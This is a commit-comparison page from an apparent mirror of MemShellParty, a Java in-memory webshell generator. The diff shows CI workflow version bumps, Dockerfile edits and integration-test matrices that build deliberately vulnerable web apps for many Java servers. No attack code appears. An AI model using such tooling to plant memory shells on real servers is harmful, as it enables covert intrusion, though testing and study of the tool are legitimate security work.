mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
97e85f5753 | ||
|
|
70d96e86b1 | ||
|
|
13fe8f0094 | ||
|
|
961845f96f | ||
|
|
4a12d74c7c | ||
|
|
7287409ce3 | ||
|
|
f806ab2c2c | ||
|
|
e1152000f2 | ||
|
|
3ada01bd97 | ||
|
|
e11eafe78b | ||
|
|
6c41f208ba | ||
|
|
ceb8e3ddb4 | ||
|
|
70935d6ab1 | ||
|
|
305bc0e12c | ||
|
|
b74c8f6155 | ||
|
|
4a990b7e0c | ||
|
|
493e540984 | ||
|
|
8514f1ae1f | ||
|
|
c641a92557 | ||
|
|
cda6c9f64e | ||
|
|
460172133b | ||
|
|
983bdaa2fa | ||
|
|
244bbd910a | ||
|
|
17627d5134 | ||
|
|
9af244408b | ||
|
|
d4c6473543 | ||
|
|
229698eb49 | ||
|
|
aaebf9300b | ||
|
|
31d4966cb3 | ||
|
|
e4ef1fce4a | ||
|
|
2843bbd8c4 | ||
|
|
7832c02e0d | ||
|
|
65d0b17fe2 | ||
|
|
f17a33fb8b | ||
|
|
f19fe37c36 | ||
|
|
9757a5b050 | ||
|
|
71230e6088 | ||
|
|
2ec3218e72 | ||
|
|
da046ae5dc | ||
|
|
a8cb4c68bc | ||
|
|
0e37e406da | ||
|
|
29c19a318f | ||
|
|
556c9d63ff | ||
|
|
3e48fc1534 | ||
|
|
8f2024917c | ||
|
|
82bbd2cf0a | ||
|
|
1243e59ac2 | ||
|
|
af4c8b1d63 | ||
|
|
9fb0a3a377 | ||
|
|
ff8f9512d4 | ||
|
|
8bb6857234 | ||
|
|
86e242a4f1 | ||
|
|
507c41b2c0 | ||
|
|
bfad8cb921 | ||
|
|
e21ec53cb6 | ||
|
|
7f669c840e | ||
|
|
e2600fd0ed | ||
|
|
7c0ae4b228 | ||
|
|
862ad44a0a | ||
|
|
a95e820e30 | ||
|
|
f19b1be9d4 | ||
|
|
a267048ed3 | ||
|
|
fab736e175 | ||
|
|
6809132f00 | ||
|
|
404d62c6ef | ||
|
|
416f2d5593 | ||
|
|
fe54b610ed | ||
|
|
0d096395f9 | ||
|
|
845d5a48c9 | ||
|
|
08200e0560 | ||
|
|
1d98c24d16 | ||
|
|
4d04aed4fb | ||
|
|
82fcd8ae42 | ||
|
|
167e3452ec | ||
|
|
009c70d8d6 | ||
|
|
fce2b11128 | ||
|
|
8b3f285002 | ||
|
|
0a9a68ee7f | ||
|
|
f0472d231b | ||
|
|
4061c61c29 | ||
|
|
8664e0d45a | ||
|
|
59dc5ba5fc | ||
|
|
01c939ee18 | ||
|
|
b0800f0a0b | ||
|
|
dbd9687003 | ||
|
|
886c37d8c2 | ||
|
|
06feb3fe14 | ||
|
|
cb195715c0 | ||
|
|
036887d806 | ||
|
|
11794f9465 | ||
|
|
e7e97089ce | ||
|
|
ee560ff7ee | ||
|
|
d10323a054 | ||
|
|
016d0d5bbe | ||
|
|
666aed90c3 | ||
|
|
8962c855c9 |
@@ -0,0 +1,19 @@
|
|||||||
|
.git
|
||||||
|
.gradle
|
||||||
|
.idea
|
||||||
|
.vscode
|
||||||
|
.DS_Store
|
||||||
|
|
||||||
|
**/.DS_Store
|
||||||
|
**/.gradle
|
||||||
|
**/build
|
||||||
|
**/bin
|
||||||
|
|
||||||
|
web/.react-router
|
||||||
|
web/.source
|
||||||
|
web/build
|
||||||
|
web/node_modules
|
||||||
|
|
||||||
|
integration-test
|
||||||
|
tools
|
||||||
|
vul
|
||||||
@@ -17,16 +17,16 @@ jobs:
|
|||||||
os: [ubuntu-latest, windows-latest]
|
os: [ubuntu-latest, windows-latest]
|
||||||
runs-on: ${{ matrix.os }}
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Setup Node
|
- name: Setup Node
|
||||||
uses: actions/setup-node@v6
|
uses: actions/setup-node@v6
|
||||||
@@ -52,7 +52,7 @@ jobs:
|
|||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
- name: Upload Boot Jar (Linux)
|
||||||
if: matrix.os == 'ubuntu-latest'
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v7
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
@@ -62,28 +62,28 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v8
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v4
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -95,15 +95,15 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
name: Docker Build Test
|
name: Docker Build Test
|
||||||
|
|
||||||
on:
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
push:
|
push:
|
||||||
branches:
|
branches:
|
||||||
- master
|
- master
|
||||||
@@ -22,7 +23,7 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
- name: Build Docker image
|
- name: Build Docker image
|
||||||
run: |
|
run: |
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
|||||||
@@ -15,21 +15,21 @@ jobs:
|
|||||||
name: Docker Push
|
name: Docker Push
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v4
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ on:
|
|||||||
- './github/workflows/memshell-integration-test.yml'
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
- '**/memshell/**'
|
- '**/memshell/**'
|
||||||
- '**/packer/**'
|
- '**/packer/**'
|
||||||
|
- '**/dubbo/**'
|
||||||
|
|
||||||
concurrency:
|
concurrency:
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
@@ -23,9 +24,9 @@ jobs:
|
|||||||
- middleware: "tomcat"
|
- middleware: "tomcat"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jetty"
|
- middleware: "jetty"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
@@ -33,7 +34,7 @@ jobs:
|
|||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "resin"
|
- middleware: "resin"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "payara"
|
- middleware: "payara"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "websphere"
|
- middleware: "websphere"
|
||||||
@@ -41,38 +42,49 @@ jobs:
|
|||||||
- middleware: "websphere7"
|
- middleware: "websphere7"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struct2"
|
- middleware: "struts2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
|
- middleware: "jenkins"
|
||||||
|
depend_tasks: ""
|
||||||
|
- middleware: "geronimo"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "dubbo"
|
||||||
|
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
- name: Integration Test with gradle
|
||||||
|
if: matrix.cases.middleware != 'dubbo'
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Dubbo Integration Test with gradle
|
||||||
|
if: matrix.cases.middleware == 'dubbo'
|
||||||
|
run: ./gradlew :integration-test:dubboContainerTest --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
uses: mikepenz/action-junit-report@v5
|
uses: mikepenz/action-junit-report@v5
|
||||||
if: success() || failure()
|
if: success() || failure()
|
||||||
with:
|
with:
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
report_paths: '**/build/test-results/*/TEST-*.xml'
|
||||||
|
|||||||
@@ -21,9 +21,9 @@ jobs:
|
|||||||
- middleware: "tomcat"
|
- middleware: "tomcat"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jetty"
|
- middleware: "jetty"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
@@ -31,7 +31,7 @@ jobs:
|
|||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "resin"
|
- middleware: "resin"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "payara"
|
- middleware: "payara"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "websphere"
|
- middleware: "websphere"
|
||||||
@@ -39,25 +39,27 @@ jobs:
|
|||||||
- middleware: "websphere7"
|
- middleware: "websphere7"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||||
- middleware: "struct2"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||||
|
- middleware: "struts2"
|
||||||
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
@@ -66,7 +68,7 @@ jobs:
|
|||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
uses: mikepenz/action-junit-report@v5
|
uses: mikepenz/action-junit-report@v6
|
||||||
if: success() || failure()
|
if: success() || failure()
|
||||||
with:
|
with:
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ jobs:
|
|||||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -36,16 +36,16 @@ jobs:
|
|||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Setup Node
|
- name: Setup Node
|
||||||
uses: actions/setup-node@v6
|
uses: actions/setup-node@v6
|
||||||
@@ -65,7 +65,7 @@ jobs:
|
|||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v7
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
@@ -75,7 +75,7 @@ jobs:
|
|||||||
needs: [ info, build-jar ]
|
needs: [ info, build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -84,26 +84,26 @@ jobs:
|
|||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to GitHub Container Registry
|
- name: Login to GitHub Container Registry
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: ghcr.io
|
registry: ghcr.io
|
||||||
username: ${{ github.repository_owner }}
|
username: ${{ github.repository_owner }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v4
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -115,7 +115,7 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -130,15 +130,15 @@ jobs:
|
|||||||
name: Deploy to Maven Central
|
name: Deploy to Maven Central
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
@@ -156,7 +156,7 @@ jobs:
|
|||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
|
|||||||
@@ -22,16 +22,16 @@ jobs:
|
|||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
if: ${{ inputs.depend_tasks != '' }}
|
||||||
|
|||||||
@@ -17,16 +17,16 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
- name: Generator Unit Test with Gradle
|
||||||
run: ./gradlew :generator:test
|
run: ./gradlew :generator:test
|
||||||
|
|||||||
@@ -62,3 +62,5 @@ integration-test/**/bes
|
|||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
integration-test/**/primeton
|
integration-test/**/primeton
|
||||||
|
vul/vul-springboot3-bes
|
||||||
|
vul/vul-springboot3-tongweb
|
||||||
+7
-6
@@ -6,9 +6,9 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH=""
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
|
|
||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
@@ -16,7 +16,8 @@ WORKDIR /usr/src/web
|
|||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
